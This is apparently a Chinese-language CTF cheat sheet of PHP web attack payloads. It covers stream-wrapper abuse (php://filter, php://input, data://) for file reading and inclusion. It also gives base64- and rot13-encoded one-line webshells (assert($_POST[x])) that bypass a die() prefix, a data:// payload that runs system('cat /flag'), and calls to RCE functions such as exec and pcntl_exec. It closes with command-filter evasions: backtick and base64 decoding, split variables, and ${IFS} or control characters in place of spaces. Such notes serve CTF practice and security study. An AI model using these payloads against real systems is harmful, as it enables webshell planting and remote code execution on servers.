1 2 3 4 5 6 7 8 9 1 )file:// 访问本地文件系统2 )http:// 访问 HTTP (S) 网址3 )ftp:// 访问 FTP (S) URL4 ) php:// 访问各个输出输入流 在CTF中经常使用的是php:// filter和php://inpu t,php:// filter用于读取源码。php://inpu t用于执行php代码5 ) zlib:// 处理压缩流6 ) data:// 读取数据 和php://inpu t的区别是data伪协议直接执行内容7 ) glob :// 查找匹配的文件路径模式8 ) phar:// PHP 归档9 ) rar:// RAR 数据压缩
用data伪协议也可以读文件data://text/plain;base64,[base64]
file_get_contents() 是 PHP 读取文件内容的函数,它可以:
读取本地文件 (file://) 读取远程文件 (http:// / https://) 读取特殊流 (php://input, data:// 等) 读取压缩文件 (compress.zlib://)
enctype="multipart/form-data" 的时候 php://input 是无效的 这是一个文件上传的请求 它需要进行特殊的、更复杂的处理
phpfilter写入一句话木马:
1 2 3 4 5 payload: GET提交 ?file =php://filter/wirte=convert.base64-decode/resource=2.php POST提交 content =PD9waHAgYXNzZXJ0KCRfUE9TVFt4XSk7Pz4=
content提交的值是经过base64编码后的一句话木马<?php assert($_POST[x]);?>
绕过死亡代: file_put_contents($file,"<?php die();?>".$content); 这里要用到一个过滤器string.rot13 也就是凯撒13,这样子可以不出现php
1 2 3 4 5 payload: GET提交 /?file =php://filter /write =string .rot13/resource=3. php POST提交 content=<? cuc nffreg($_CBFG [k]);?>
data伪协议有检测的时候,可以尝试data:, 这种极端的简写形式 data协议的完整格式是data:[<mediatype>][;base64],<data> 如果有检测php等关键字,可以使用base64选项data:;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==
php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接 临时文件包含知识点: https://mp.weixin.qq.com/s/ZgI8q_0FoXVSPIt01tN0YQ
RCE
exec默认没有回显,需要手动加上echo.而且只会回显出一行结果,因此常用第二个数组参数接收多行结果.
1 payload:$arr =[]; echo exec (ipconfig,$arr ); var_dump($arr );
shell_exec 默认没有回显,需要手动加上echo,可以输出多行结果.
pcntl_exec PHP > 4.2.0 <?php pcntl_exec ( "/bin/bash" , array("whoami")); ?>
其他可以看文件内容的命令
cat
tac
more
less
od
xxd
tail
nl
sort
grep
uniq
file -f
利用反引号和base64能绕过很多过滤
1 `echo bHMK | base64 -d` `echo L2Jpbgo= | base64 -d`
1 2 a=c;b=at;c=fla;d=g.php;$a $b ${c} ${d}
过滤空格常见姿势 读文件用<> 代替 ${IFS}代替空格 控制字符代替空格%09 %0b %0c 字符串截断代替空格(在env可以找到一些有空格的变量)cmd=tac${PHP_EXTRA_CONFIGURE_ARGS:12:1}fl*